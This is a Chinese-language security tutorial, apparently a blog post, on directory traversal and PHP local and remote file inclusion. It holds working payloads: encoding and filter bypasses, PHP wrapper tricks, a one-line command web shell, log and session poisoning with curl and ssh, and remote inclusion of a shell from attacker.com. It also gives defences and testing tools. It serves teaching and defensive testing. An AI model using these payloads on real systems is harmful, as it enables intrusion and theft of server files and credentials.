目錄遍歷與檔案包含漏洞

Directory Traversal and File Inclusion Vulnerabilities

什麼是目錄遍歷漏洞

目錄遍歷(Directory Traversal),又稱為路徑遍歷(Path Traversal),是一種安全漏洞,允許攻擊者存取 Web 根目錄以外的檔案和目錄。透過操控檔案路徑參數,攻擊者可以讀取伺服器上的敏感檔案,如設定檔、密碼檔案、日誌等。

這種攻擊通常利用 ../(上一層目錄)序列來跳脫預設的目錄限制,因此也被稱為「點點斜線攻擊」(dot-dot-slash attack)。

漏洞成因

目錄遍歷漏洞通常發生在以下情況:

  • 應用程式使用使用者輸入來建構檔案路徑
  • 未對輸入進行適當的驗證和過濾
  • 檔案系統存取權限設定不當
  • 使用不安全的函數處理檔案路徑

基本範例

假設有一個 Web 應用程式使用以下 PHP 程式碼來顯示檔案:

1
2
3
4
<?php
$file = $_GET['file'];
include("/var/www/html/pages/" . $file);
?>

正常使用時,URL 可能是:

1
http://example.com/index.php?file=about.php

但攻擊者可以輸入:

1
http://example.com/index.php?file=../../../etc/passwd

這會讀取 /var/www/html/pages/../../../etc/passwd,也就是 /etc/passwd

Path Traversal 技巧

基本遍歷序列

最基本的路徑遍歷使用 ../ 來向上導覽目錄:

1
2
3
4
../
..\..\
../../../
..\..\..\..\

常見的敏感檔案路徑

Linux/Unix 系統

檔案路徑說明
/etc/passwd使用者帳號資訊
/etc/shadow使用者密碼雜湊(需要 root 權限)
/etc/hosts主機名稱對應
/etc/ssh/sshd_configSSH 伺服器設定
/etc/nginx/nginx.confNginx 設定檔
/etc/apache2/apache2.confApache 設定檔
/var/log/apache2/access.logApache 存取日誌
/var/log/apache2/error.logApache 錯誤日誌
/proc/self/environ當前進程的環境變數
/proc/self/cmdline當前進程的命令列
/home/user/.ssh/id_rsaSSH 私鑰
/home/user/.bash_historyBash 歷史記錄

Windows 系統

檔案路徑說明
C:\Windows\System32\config\SAM使用者帳號資料庫
C:\Windows\System32\config\SYSTEM系統設定
C:\Windows\win.iniWindows 設定檔
C:\Windows\System32\drivers\etc\hosts主機名稱對應
C:\inetpub\logs\LogFilesIIS 日誌
C:\xampp\apache\conf\httpd.confApache 設定檔(XAMPP)
C:\Users\Administrator\Desktop管理員桌面

編碼繞過技術

URL 編碼

1
2
3
4
%2e%2e%2f = ../
%2e%2e/ = ../
..%2f = ../
%2e%2e%5c = ..\

雙重 URL 編碼

1
2
3
%252e%252e%252f = ../
%252e%252e/ = ../
..%252f = ../

Unicode/UTF-8 編碼

1
2
3
..%c0%af = ../
..%c1%9c = ..\
%c0%ae%c0%ae%c0%af = ../

16 位元 Unicode 編碼

1
2
..%u2215 = ../
..%u2216 = ..\

路徑正規化繞過

使用多餘的斜線

1
2
3
4
....//
....\/
....\\
..../

混合斜線

1
2
3
..\/
../\
..\./

使用空位元組(Null Byte)

在某些舊版本的 PHP 中,可以使用空位元組截斷檔案路徑:

1
2
3
../../../etc/passwd%00
../../../etc/passwd%00.jpg
../../../etc/passwd\0.png

注意: PHP 5.3.4+ 已修復此漏洞。

路徑截斷技術

使用長路徑

某些系統對路徑長度有限制,可以利用這點:

1
../../../etc/passwd/./././././././[重複很多次]

點號截斷

1
../../../etc/passwd...........................................................

LFI(本地檔案包含)攻擊

什麼是 LFI

本地檔案包含(Local File Inclusion,LFI)是一種漏洞,允許攻擊者包含伺服器上的本地檔案。與單純的目錄遍歷不同,LFI 可以執行包含的檔案內容(如果是 PHP 檔案)。

LFI 漏洞範例

1
2
3
4
<?php
$page = $_GET['page'];
include($page . ".php");
?>

攻擊者可以:

1
http://example.com/index.php?page=../../../etc/passwd%00

PHP Wrapper 攻擊

PHP 提供多種 Wrapper,可以用於 LFI 攻擊:

php://filter

讀取原始碼(Base64 編碼):

1
2
php://filter/convert.base64-encode/resource=index
php://filter/convert.base64-encode/resource=../../../etc/passwd

使用範例:

1
http://example.com/index.php?page=php://filter/convert.base64-encode/resource=config

然後將回傳的 Base64 內容解碼即可獲得原始碼。

php://input

如果 allow_url_include 設定為 On,可以執行 POST 請求中的 PHP 程式碼:

1
2
3
4
http://example.com/index.php?page=php://input

POST 內容:
<?php system($_GET['cmd']); ?>

data://

使用 data URI scheme 執行程式碼:

1
2
data://text/plain,<?php phpinfo(); ?>
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==

使用範例:

1
http://example.com/index.php?page=data://text/plain,<?php system('id'); ?>

expect://

執行系統命令(需要安裝 expect 擴充):

1
2
expect://id
expect://ls

zip://

讀取 ZIP 檔案中的內容:

1
zip://path/to/file.zip%23internal_file.txt

日誌檔案注入(Log Poisoning)

利用日誌檔案進行程式碼執行:

Apache Access Log

  1. 發送包含 PHP 程式碼的請求:
1
curl "http://example.com/<?php system(\$_GET['cmd']); ?>"

或修改 User-Agent:

1
curl -A "<?php system(\$_GET['cmd']); ?>" http://example.com/
  1. 透過 LFI 包含日誌檔案:
1
http://example.com/index.php?page=../../../var/log/apache2/access.log&cmd=id

SSH Log

  1. 嘗試使用包含 PHP 程式碼的使用者名稱登入:
1
ssh '<?php system($_GET["cmd"]); ?>'@target
  1. 包含 SSH 認證日誌:
1
http://example.com/index.php?page=../../../var/log/auth.log&cmd=id

Mail Log

  1. 發送包含 PHP 程式碼的郵件:
1
mail -s "<?php system(\$_GET['cmd']); ?>" www-data@localhost < /dev/null
  1. 包含郵件日誌:
1
http://example.com/index.php?page=../../../var/log/mail.log&cmd=id

/proc/self/environ 攻擊

如果可以讀取 /proc/self/environ,可以透過修改 User-Agent 進行攻擊:

  1. 發送包含 PHP 程式碼的請求:
1
curl -A "<?php system(\$_GET['cmd']); ?>" "http://example.com/index.php?page=../../../proc/self/environ&cmd=id"

Session 檔案包含

  1. 設定 Session 包含惡意程式碼:
1
http://example.com/index.php?name=<?php system($_GET['cmd']); ?>
  1. 包含 Session 檔案(Session ID 可從 Cookie 獲取):
1
http://example.com/index.php?page=../../../var/lib/php/sessions/sess_[SESSION_ID]&cmd=id

RFI(遠端檔案包含)攻擊

什麼是 RFI

遠端檔案包含(Remote File Inclusion,RFI)允許攻擊者包含遠端伺服器上的檔案。這通常比 LFI 更危險,因為攻擊者可以完全控制包含的內容。

RFI 前提條件

RFI 需要以下 PHP 設定:

1
2
allow_url_fopen = On
allow_url_include = On

注意: 從 PHP 5.2.0 開始,allow_url_include 預設為 Off。

RFI 攻擊範例

假設存在漏洞的程式碼:

1
2
3
4
<?php
$page = $_GET['page'];
include($page);
?>

攻擊者可以:

1
http://example.com/index.php?page=http://attacker.com/shell.txt

其中 shell.txt 包含:

1
<?php system($_GET['cmd']); ?>

RFI 繞過技術

使用空位元組

1
http://example.com/index.php?page=http://attacker.com/shell.txt%00

使用問號

1
http://example.com/index.php?page=http://attacker.com/shell.txt?

使用井號

1
http://example.com/index.php?page=http://attacker.com/shell.txt%23

SMB 共享(Windows)

在 Windows 環境中,可以使用 SMB 共享:

1
http://example.com/index.php?page=\\attacker.com\share\shell.php

繞過技術總結

過濾繞過

如果過濾 ../

1
2
3
4
....//
..././
....\/
....\\

如果過濾 ..

1
2
3
.%2e/
%2e./
%2e%2e/

如果過濾斜線

1
2
..%5c (Windows)
..%2f

白名單繞過

如果應用程式檢查檔案是否以特定目錄開頭:

1
/var/www/html/../../../etc/passwd

如果檢查副檔名:

1
2
../../../etc/passwd%00.php (舊版 PHP)
../../../etc/passwd/.

WAF 繞過

1
2
3
4
5
6
..;/
..%00/
..%0d/
..%5c
..\/
..%ff/

使用絕對路徑

某些情況下可以直接使用絕對路徑:

1
2
/etc/passwd
file:///etc/passwd

防護措施

1. 輸入驗證

使用白名單驗證允許的檔案名稱:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
<?php
$allowed_files = ['home', 'about', 'contact'];
$page = $_GET['page'];

if (in_array($page, $allowed_files)) {
    include("/var/www/html/pages/" . $page . ".php");
} else {
    include("/var/www/html/pages/404.php");
}
?>

2. 路徑正規化

使用 realpath() 函數來解析實際路徑並驗證:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
<?php
$base_dir = "/var/www/html/pages/";
$file = $_GET['file'];
$full_path = realpath($base_dir . $file);

// 確保解析後的路徑仍在允許的目錄內
if ($full_path && strpos($full_path, $base_dir) === 0) {
    include($full_path);
} else {
    die("存取被拒絕");
}
?>

3. 過濾危險字元

移除或編碼危險字元:

1
2
3
4
5
<?php
$file = $_GET['file'];
$file = str_replace(['../', '..\\', '..'], '', $file);
$file = basename($file); // 只保留檔案名稱
?>

4. 設定 open_basedir

在 PHP 設定中限制可存取的目錄:

1
open_basedir = /var/www/html/

或在 Apache 虛擬主機中設定:

1
php_admin_value open_basedir /var/www/html/

5. 停用危險功能

php.ini 中:

1
2
allow_url_fopen = Off
allow_url_include = Off

6. 使用索引陣列

不直接使用使用者輸入作為檔案名稱:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
<?php
$pages = [
    '1' => 'home.php',
    '2' => 'about.php',
    '3' => 'contact.php',
];

$page_id = $_GET['page'];

if (isset($pages[$page_id])) {
    include("/var/www/html/pages/" . $pages[$page_id]);
} else {
    include("/var/www/html/pages/404.php");
}
?>

7. 最小權限原則

  • Web 伺服器使用者只能讀取必要的檔案
  • 敏感檔案設定適當的權限
  • 使用 chroot 環境隔離 Web 應用程式

8. Web 應用程式防火牆

部署 WAF 可以偵測並阻擋常見的路徑遍歷模式:

1
2
ModSecurity 規則範例:
SecRule ARGS "@rx (\.\./|\.\.\\)" "id:1,deny,status:403,msg:'Path Traversal Attack'"

測試方法

手動測試

  1. 識別檔案參數

    • 找出 URL 中的檔案相關參數
    • page=file=path=doc=template=
  2. 測試基本遍歷

    1
    2
    
    ../../../etc/passwd
    ..\..\..\..\windows\win.ini
    
  3. 嘗試各種編碼

    1
    2
    3
    
    %2e%2e%2f
    ..%252f
    %c0%ae%c0%ae/
    
  4. 測試 PHP Wrapper

    1
    
    php://filter/convert.base64-encode/resource=index
    

自動化工具

Burp Suite

  1. 使用 Intruder 功能
  2. 載入路徑遍歷字典
  3. 分析回應中的差異

dotdotpwn

專門用於目錄遍歷測試的工具:

1
2
3
4
5
# 測試 HTTP 模組
dotdotpwn -m http -h target.com -f /etc/passwd

# 測試特定參數
dotdotpwn -m http-url -u "http://target.com/index.php?page=TRAVERSAL" -f /etc/passwd

ffuf

使用 ffuf 進行模糊測試:

1
ffuf -w lfi-wordlist.txt -u "http://target.com/index.php?page=FUZZ" -fs 0

LFISuite

專門的 LFI 漏洞利用工具:

1
python lfisuite.py

測試清單

  • 測試所有檔案相關參數
  • 嘗試基本目錄遍歷 (../)
  • 測試各種編碼繞過
  • 測試空位元組截斷
  • 測試 PHP Wrapper(php://filter、data://、expect://)
  • 測試日誌檔案包含
  • 測試 Session 檔案包含
  • 測試 RFI(如果適用)
  • 嘗試讀取敏感檔案
  • 驗證防護措施的有效性

參考資源

comments powered by Disqus
Built with Hugo
Theme Stack designed by Jimmy